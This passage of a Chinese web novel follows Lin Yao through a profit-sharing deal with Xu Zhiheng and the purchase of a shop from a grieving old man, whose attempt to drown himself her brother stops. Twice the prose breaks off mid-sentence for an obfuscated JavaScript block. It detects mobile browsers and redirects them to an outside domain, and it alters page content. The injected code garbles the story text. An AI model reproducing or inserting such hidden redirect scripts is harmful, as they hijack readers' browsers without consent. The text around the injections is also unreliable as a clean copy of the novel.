天色渐晚，众人虽意犹未尽，却也纷纷告辞。林窈站在门口目送，揉了揉笑僵的脸，转身与家人整理贺礼。村民们送来的大多是自家种的蔬菜、鸡蛋，礼轻情意重。只与她亲近的几家送的礼略有不同。刘大壮一家送了几幅布帘，布帘上绣着精致的花纹，虽是些常见的花鸟图案，却绣得栩栩如生。这布帘送得正合林窈的心意，往床边一挂，就像大学时的床帘，满满的安全感，虽然如今这屋子只有她一个人住，但围上床帘总感觉更踏实。王山爷孙送了一批棉布，想来是瞧着天气越来越冷，送来给他们做衣裳的。村里人家大多是买布回家，由家里的女眷裁布做衣，但是林窈没学过针线活，也不打算学，寻思着花钱找人做了便是了。把东西归整好，兄妹三人回到了各自的新屋子休息去了。 月光如水，林家二房这边一片祥和，林家大房却气压低沉。“你说今日二房那几个扫把星暖屋做了羊肉？”林长寿看着大儿子，目光阴测测的，看得林有福打了个寒战。 林有福赶忙点头，“爹，千真万确！我今儿个路过，亲眼瞧见那桌上满满当当都是好菜，除了羊肉，还有好些个咱都没见过的新奇玩意儿，听说是那林窈不知从哪儿学来的新菜式。” 林长寿沉思片刻，脸上闪过阴鸷，“哼，让他们再嚣张几日，日后有的是他们求我们的时候。” 47. 豆皮工坊 林窈和林诚刚到武馆门口，就撞见吕大志背着个鼓鼓囊囊的包袱往外走。林窈赶忙打招呼：“吕大叔！这是要出远门？” 吕大志没想到他们来得这么早，下意识把包袱往背上紧了紧，叹气道：“可不是嘛！过几天就是盂兰节，得赶回老家给爹娘上坟。” 林窈一听，立刻从食盒里掏出个油纸包递过去：“巧了！今早新做的肉夹馍，大叔路上垫垫肚子。”吕大志道了声谢，接过肉夹馍匆匆走了。 林诚望着吕大志的背影，皱起眉头：“吕大叔今儿有点不对劲，话都比平时少。” 林窈摇摇头：“许是要去祭拜亲人，心里难受。先别管了，咱们找许公子去。” 一进武馆，练武的吆喝声就扑面而来。正中央空地上，七八个学徒扎着标准马步，粗布短打的衣襟被汗水浸透，紧贴着后背。他们双手紧握木枪，枪头绑着的红缨随动作剧烈摇晃，引得林诚双目发亮。 角落里，两名壮汉正合力举起石锁，青筋在手臂上凸起如虬结的老树根。林窈下意识往后退了一步，这就是脂包肌吧，她还是更喜欢薄肌，比如旁边这位扫地的少年郎，少年束着简单的发带，竹扫帚扫过青砖的沙沙声里，露出半截结实的小臂，她赶忙收回视线，在心里狠狠地唾弃了一回自己：“罪过罪过，真是十二岁的身子二十岁的心，可别露馅了！” 正想着，就听见许之珩的声音传来：“林小娘子，这边请。”许之珩其实早到了，正巧把林窈刚才那副盯着少年的模样瞧了个正着。 几人来到武馆的内院，便开始商量豆皮的生意。林窈把豆皮的制作流程口述了一遍，“许公子，豆皮制作起来没什么难度，只是费时费力，投入大，产出低……” 许之珩突然从袖中掏出个算盘，噼啪拨弄起来，“林小娘子所言极是，单独成立一个工坊成本太高，”他推了推算盘，珠子相撞发出清脆声响，“既然林小娘子说制作简单，那便让水晶粉工坊的人顺带做了吧。” 林窈一听，居然要让那群老弱妇孺收一份工资打两份工，脱口而出：“周扒皮。” “什么？”许之珩没听懂林窈说的“周扒皮”是何意，但看林窈不自觉流露出的嫌弃也知道这不是什么好话。 林窈忙找补，“没什么，突然想起了一位故人，他与许公子一样深谙商道。” 许之珩一脸狐疑地看着林窈，但看她脸色无异，倒也没深究：“只是这样一来水晶粉工坊的活计就多了，我再添上些人，工钱每人涨六文钱，如此可好？” 林窈这才反应过来是自己误会了，忙不迭说：“许公子思虑周全，如此一来，既解决了人力问题，又能让工人们多些收入，是个好法子。” 豆皮生意的分红依然延续了水晶粉的林窈三，许之珩七，原因无他，林窈如果想生意能稳稳当当的做下去，确实需要许之珩这个靠山。 许之珩从怀里掏出一份契约，“林小娘子看看这契约，若无不妥之处，便可签字画押。” 林窈接过契约，扫视了一眼，“许公子写的契约自然不会有问题。” 等待墨迹干透的间隙，金玉气喘吁吁地跑了进来，一进门就把一荷包银子砸在了桌上。林窈被他这动静吓得往后一仰，差点掉下椅子，幸好林诚在旁边扶了一把，这才没让林窈摔了个四脚朝天。 “急什么，赶着投胎？”许之珩没好气地倒了一杯茶，推到了金玉面前。 金玉眼神闪了闪，拿起水杯灌了一大口茶，才缓过劲：“郎君，钱取回来了。” 许之珩把荷包往林窈的方向推了推。林窈看了看这个靛蓝色的荷包，又看了看许之珩，“许公子，这……” 许之珩打开手里的折扇，摇了摇，不紧不慢地说道：“分红。这是水晶粉工坊上个月的利钱，一共七十两。” 林窈拿起荷包，沉甸甸的重量让她下意识收紧五指，布料粗糙的纹路硌着掌心，却比不上内心翻涌的波澜。“七十两……”她喃喃低语，声音里带着隐隐的兴奋，她目光灼灼地盯着许之珩，“许公子，这数目当真是工坊上月的净利？” “林小娘子莫不是嫌少了？上月是水晶粉第一次对外出售，需要时间打开市场，假以时日，利钱必定翻上几番。”许之珩自信地说道。 “不不不，这七十两远远超过我的预期了。”林窈决定自己应该是抱上大腿了，她现在无比庆幸自己搭上了许之珩这条线。如果让她自己单干，且不说开拓市场的难度，光是制作水晶粉就足够让她焦头烂额，哪能像现在这样，坐在家里就有钱收。 林窈捏起一枚银锭，对着光线细细端详，这七十两，足够她做太多事了，正盘算着怎么花，许之珩突然说：“哎呀，这接下来要生产的水晶粉只会越来越多，工坊的石磨怕是不够用了，林小娘子不若留下十两作为添置新磨盘的费用？” 林窈面上的笑容一僵，但转念一想，工坊和工具都是许之珩置办的，如今要扩大生产，她这个股东没有不出钱的道理，“该出！添置工具的钱，我们担三成！” 许之珩听到林窈说的话，当即笑着合起了扇子，这小娘子真是一点亏都吃不得，拐着弯地说他们可是三七分，这成本她也只担三成，“不过是与林小娘子玩笑罢了。” 但林窈这会却认真起来了，“这十两银子许公子收下吧，如今生意越做越大，免不了要添置新的工具，这工坊也有我们林家一份，没有全让公子承担的道理。” 许之珩还是把银子推了回去，“该收的我自然不会推拒，这月添置新工具和涨的工钱管事都会在下月的利钱里扣，这次的利钱已是扣除了此前置办工坊花的银两。” 听到许之珩的话，林窈赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422222|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把那十两银子塞回荷包里，亏她还觉得占了许之珩的便宜，以为自己分文不出就成了水晶粉工坊的股东，结果这厮早就把置办的工坊的成本也算在了里面，这生意做得真是精明。商量分红的时候还说她只出了方子，工坊和销售渠道都是他出，把利钱压到只占三成，原来在这等着她呢。 许之珩看出林窈的心思，继续解释：“此前与你说的并不是扯谎，我买了工坊那块地，买地的钱我不与你分摊，你只需承担租赁的费用。” 真是财大气粗，如此一来他还成了自己的包租公，林窈换上标准的笑容，“许公子说的哪里的话，你自然是不会骗我们的，合作愉快！” 许之珩摇了摇头，不置可否。 ～ 从武馆出来，林窈和林诚各自回了自己的摊位。林窈远远地看见王小鱼和刘旭两人配合得极好，如今正是饭点，摊位上的客人络绎不绝，两人分工明确，王小鱼煮粉，刘旭上菜，有条不紊。 “林小娘子！”一声陌生的声音把林窈吓了一跳，她转身一看，是个穿白武袍的少年。林窈记得他，擂台赛那天找他买饭不成，去找吕大志蹭饭的人，“白公子？” 白易眼睛一亮：“娘子还记得我！阿珩说你在这摆摊，我连着找了好几天都没见到人，我还以为娘子不出摊了。” “前些日子家中有事，耽搁了出摊。”林窈看着白易，忍不住腹诽，谁能想到这人长了这么一张出尘俊逸的脸，竟然是个大馋小子，她把白易领到摊位前，指了指摊位上的吃食，”小摊有酸辣粉、卤猪下水粉、还有魔芋爽，公子看看要吃什么。” 白易听到卤猪下水也没多诧异，他向来信奉的是没有不能吃的食材，只有不会做的厨子，“都给我来一份！” 刘旭刚把两碗粉放到桌上，白易就迫不及待地夹起一筷子酸辣粉，粉条裹着红亮的辣椒油，还未入口，酸香便直冲鼻腔。他囫囵吞下，烫得直哈气，眼睛却亮晶晶：“痛快！” 林窈看着他狼吞虎咽的模样忍俊不禁：“公子莫急，今儿的粉还多得很。” 白易闻言不好意思地挠挠头，耳根泛红，“实在是林小娘子的手艺太好。”说着，他又舀起一勺卤猪下水粉的汤汁，粉汤里浮着油花，卤得软烂的猪下水颤巍巍地卧在碗底，他细细品味，“这汤头醇厚鲜香，猪下水处理得一点臭味都没有，卤味入髓，配上这粉条，实在是叫人停不了口！” 正说着，白易的目光落在一旁晶莹剔透的魔芋爽上，夹起一条放入口中，脆嫩弹牙的口感让他眼睛一亮，“这魔芋爽口感独特，酸辣开胃，和粉搭配着吃，简直妙极！”他吃得兴起，全然不顾形象，连汤汁溅到嘴角都没察觉。 林窈看他吃得狼吞虎咽，也顾不上搭话了，摸着袖中沉甸甸的荷包，盘算着这七十两该怎么花，买地？还是开铺子…… 48. 落水 “什么？！你要在镇上盘一间铺子？”林诚放下手中的碗，碗底与桌面碰撞发出清脆声响。他知道妹妹一直想在镇上开一家食肆，但没想到要直接盘下一个铺面，乍一听，只觉得像在做梦。 林窈将算盘往前推了推，“阿兄，你看。咱们摆小食摊虽能赚些银钱，但风吹日晒不说，遇上阴雨天气就只能歇业。上个月光是因下雨停摊，就少赚了近十两银子。若是有间铺子，酸辣粉、豆皮这些吃食能做得更多，还能添些热菜热汤，赚头可比现在多得多。” 林诚点了点头，他摩挲着指腹的老茧，“阿窈，这银子是靠你挣来的，这事儿，我都听你的，你说怎么办就怎么办。” “我今日找牙人打听过了，镇上的点心铺要关张，就在平日出摊的地方不远，价格实惠，听说店家今年六十有二，经历过两次征兵，儿子和孙子都被征走了，儿子早几年就没了，如今听说，孙子也没了，老人家打算把铺子卖了，颐养天年。”林窈说得小心翼翼，声音不自觉地低了几分，林父如今还是杳无音讯，虽然林诚总是和林崧说爹还活着，但他们都知道，林父怕是凶多吉少了。 提起征兵，屋中的气氛低落了几分，林诚手拍了拍妹妹的肩膀，“既然老人家急着脱手，价格又公道，咱们明日就去看看。” 第二日，兄妹俩起了个大早，跟着杨牙人来到那间点心铺。铺子门脸不大，却收拾得干干净净，木质招牌上“悦来斋”三个大字已有些褪色。推开斑驳的木门，一股淡淡的糕点香气扑面而来，屋内货架上还零星摆放着几个油纸包好的点心。 林窈三人走进铺子，刚刚还坐在椅子上发呆的吴中强打精神迎上前来。他脸上挤出一丝笑意，“后生啊，这铺子虽不大，但地段不错，平日里往来的客人也不少。”又指着斑驳的柜台说：“这柜台是用上好的榆木打的，结实着呢，再用个几十年都不成问题。”说着，他伸手敲了敲柜台，发出沉闷的声响。 杨牙人在一旁附和道：“可不是嘛，吴老板当初开店时，可没少在这上面下功夫。这铺子后面还有一个院子哩。” 吴中强领着众人往后走，穿过一条窄窄的过道，来到一个小院子。院子里种着一棵老桂花树，吴中强拍了拍树干，“夏天能在树下乘凉，摆上几张桌子，坐着就舒坦。冬天还能架上炉子烤肉，正适合做吃食生意的。” 他推开左侧的房门，里面是一间堆满杂物的房间，墙角结着蛛网，“这屋子收拾收拾，能当库房，存些米面粮油，妥妥当当。”又打开右侧的门，里面摆放着一张木床和简单的桌椅，“这一间就当是休息的地方，累了还能躺会儿。” 最后，吴中强推开灶房的门，灶台上摆着几口大锅，靠墙的架子上还挂着不少炊具，“这灶房才是宝贝，两个大灶头，同时开火都没问题，蒸煮煎炸都能满足。”他叹了口气，脸上露出一丝落寞，“当初也是我儿说多垒一个灶，日后等他回家了还可以做点别的吃食卖。” 林窈和林诚对视一眼，目光中满是复杂，她轻声安慰，“阿爷，节哀。” 吴中强看着林窈，半晌才说：“无妨，想来你们的日子也不好过，两个半大小孩都要出来讨生活了。”他的双眼空洞，似乎在看着林诚，又似乎在看着远方，摇了摇头，佝偻着身子走开了，“如今朝廷连年征战，多少好儿郎都折在了战场上，日后指不定是什么日子，死了便死了，以后也不用遭罪了。” 杨牙人见吴中强把人扔下，自说自话地走了，有心想拦，但他知晓吴老头没了儿子又没了孙子，面露难色，“吴老爷子家里的情况你们也知道，你们有什么问题尽管问我。” 林窈收回跟随着吴中强的目光，点了点头，“杨叔，这铺子吴老爷子要价几何？” 杨牙人翻了翻手里的册子：“实不相瞒，吴老头本是想卖个好价钱给孙子置衣冠冢，剩下的钱就用来养老，如今吴老爷子急着脱手”，他压低声音，“若二位真心想要，五十两，连带着后院的家什物件一并交割。” “五十两！”林窈脱口而出，声音惊飞了院角的麻雀。林窈没想到古代的房价也这么高，刚得七十两，一下就只剩二十两了。要是按照林窈以前的性子，她必定是要和牙人讨价还价半天，能省一两是一两。只是她虽视财如命，却也不止于和老人家争这几两的养老银子，“虽贵了些，但我们买了！” 杨牙人看这兄妹俩怪得很，做兄长的一句话都不说，瞧着像是这小丫头当家作主。林诚感受到杨牙人的目光，不假思索，“都听我妹妹的。” “诶，小娘子年纪不大，却是个有主意的，这就是那些读书人说的，什么‘巾帼不让须眉’”，他从袖中掏出张写满字的契约，“这是房契文书，我这就带你们去衙门过了户，这铺子就彻底姓林了。”他又瞟了眼吴中强离去的方向，压低声音道，“吴老头也是个厚道人，可惜命不好，这些年铺子口碑不错，老主顾怕是有小半街。” ～ 从衙门出来的时候，林诚看着林窈心事重重的模样，忍不住问道：“小妹，可是哪里不妥？” 林窈盯着手中的房契，思绪纷乱如麻。杨牙人口中地段好、口碑佳的铺子，吴中强却急着低价脱手；更让她不安的是，吴中强那句“死了便死了，以后也不用遭罪了”，当时只当是丧子之痛下的悲叹，此刻想来，却透着股决绝。 “不对！”林窈突然出声，“若吴老爷子只为换银钱养老，怎会将这铺子贱卖？定是价钱越高越好，他怕是存了寻短见的念头！” 林诚闻言脸色骤变，杨牙人在旁听得真切，也是一惊：“这话可不能乱说！吴老爷子许是……”这么一说，杨牙人也觉得不对劲，“咱们快去瞧瞧！” 三人拔腿往悦来斋跑去，却见铺门紧闭，铁锁锈迹斑斑。林窈心下一沉，“快去吴大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466837|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷家中！” 林窈心下一沉，跟着杨牙人穿街过巷，终于在一条青石板巷尽头停下。杨牙人抬手叩响斑驳的木门，敲门的声响惊飞了屋檐下的麻雀。 许久，门内传来拖沓的脚步声，“谁啊？”沙哑的声音从门后传来。杨牙人提高嗓门：“麦阿婆，是我，杨大米！带着买铺子的林家兄妹来了！” 吱呀一声，木门缓缓打开，吴中强的老伴麦氏扶着门框现身，她面色蜡黄，咳嗽着用帕子掩住嘴：“杨牙人，这大晌午的……” 话未说完，便被林窈急切的声音打断：“阿婆，吴老爷子可回来了？” 麦氏一愣，浑浊的眼睛打量着陌生的林窈，摇头道：“大清早就没见人影，说是去卖铺子……” “阿婆，吴老爷子怕是想不开！”林窈顾不上解释，将心中疑虑一股脑道出。麦氏手中的帕子猛地滑落，枯瘦的手死死攥住门框：“天杀的！他定是去了河滩……”话音未落，人已踉跄着要往外冲。 四人跌跌撞撞奔向城郊河滩，暮色中，河水泛着冷光。远远望去，河心处一道佝偻身影正缓缓前行，衣摆被浪花浸湿，在风中猎猎作响。麦氏撕心裂肺地哭喊：“老头子！你站住——”林窈浑身发冷，只觉双腿发软，却还是跟着兄长冲向河边。 林诚甩掉布鞋，将外袍一扯，露出单薄的中衣。沿海地区长大的孩子，水性都极好，只是现下天色渐晚，视野受限，他望着翻涌的河水，仍不免心头一紧。但此时容不得他多想，深吸一口气便扎进河中，奋力朝着吴中强的方向游去。 水流比想象中更急，林诚的手臂划开冰冷的河水，每前进一分都要耗费巨大的力气。吴中强已走到河水齐胸的位置，浑浊的浪头不断拍打着他的身子，老人却恍若未觉，依旧机械地往前挪动。 林诚加快速度，终于游到吴中强身后，一把抓住老人的胳膊。吴中强猛然回头，眼神空洞而茫然，像是还没反应过来发生了什么。 林诚试图将吴中强往岸边拽。可老人不知哪来的力气，竟用力挣扎起来，“放开我！让我去见我儿！”两人在水中拉扯，林诚被拽得呛了好几口水，鼻腔和喉咙被河水灌得生疼。 岸上，麦氏紧紧攥着林窈的手，指甲几乎掐进林窈的皮肉里。杨牙人急得直跺脚，大喊：“林小郎君，使把劲！”麦氏早已泣不成声，瘫坐在地，嘴里喃喃念叨着：“老头子，你糊涂啊……” 林诚咬着牙，拼尽全身力气，一个猛子扎到吴中强身侧，从腋下将他牢牢架住，借着水流的冲力，拼了命地往岸边游。 林诚拖着吴中强游到了浅水区。林窈和杨牙人赶忙上前，三人合力将浑身湿透、瘫软如泥的吴中强拉上了岸。麦氏扑到丈夫身边，泪水混着河水，滴落在吴中强苍白的脸上。 “咳咳……”吴中强吐出几口水，缓缓睁开眼睛，望着围在身边的林诚，半晌没有说话。